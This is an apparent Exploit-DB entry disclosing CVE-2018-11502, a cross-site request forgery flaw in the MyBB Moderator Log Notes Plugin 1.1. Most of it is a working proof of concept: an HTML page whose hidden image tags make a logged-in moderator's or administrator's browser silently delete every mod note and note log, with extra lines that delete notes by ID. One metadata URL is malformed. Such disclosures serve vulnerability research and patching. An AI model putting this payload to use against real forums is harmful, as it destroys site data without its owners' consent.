MyBB Moderator Log Notes Plugin 1.1 - Cross-Site Request Forgery
Author: 0xB9
type: webapps
platform: php
port: 80.0
date_added: 2018-08-20
date_updated: 2018-08-27
verified: 0
codes: CVE-2018-11502
tags: Cross-Site Request Forgery (CSRF)
aliases:
screenshot_url:
application_url: http://www.exploit-db.comModeratorLogNotes_1.1.zip
# Exploit Title: MyBB Moderator Log Notes Plugin 1.1 - Cross-Site Request Forgery
# Date: 2018-05-17
# Author: 0xB9
# Twitter: @0xB9Sec
# Software Link: https://community.mybb.com/mods.php?action=view&pid=1105
# Version: 1.1
# Tested on: Ubuntu 18.04
# 1. Description:
# The plugin allows moderators to save notes and display them in a list in the modCP.
# The CSRF allows an attacker to remotely delete all mod notes and mod note logs
# in the modCP & ACP.
# 2. Proof of Concept:
<html>
<body>
<-- Deletes mod note logs -->
<img style="display:none" src="http://localhost/mybb15/admin/index.php?module=tools-modnoteslog&action=dal" alt="">
<-- Deletes mod notes -->
<img style="display:none" src="http://localhost/mybb15/admin/index.php?module=tools-modnoteslog&action=dmn" alt="">
<!-- You can also delete notes individually by the nid (note ID)
<img style="display:none" src="http://localhost/mybb15/modcp.php?action=deletenote&nid=3" alt="">
<img style="display:none" src="http://localhost/mybb15/modcp.php?action=deletenote&nid=2" alt="">
<img style="display:none" src="http://localhost/mybb15/modcp.php?action=deletenote&nid=1" alt="">
-->
</body>
</html>